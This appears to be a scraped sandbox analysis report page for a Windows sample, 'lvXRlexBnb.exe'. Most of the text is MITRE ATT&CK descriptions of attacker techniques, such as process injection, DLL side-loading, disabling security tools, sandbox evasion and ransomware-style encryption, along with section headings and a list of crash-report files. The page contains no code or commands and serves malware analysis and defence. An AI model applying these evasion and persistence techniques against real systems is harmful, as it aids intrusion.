Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lvXRlexBnb.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lvXRlexBnb.exe_ec8f12665e2f68290889aebc8ad18e51ab16a_63c109cd_0e077236-54d9-4c6a-afb3-7573b04ba862\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9CA1.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9DCB.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9DFB.tmp.xml

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Windows\appcompat\Programs\Amcache.hve

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
lvXRlexBnb.exe

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre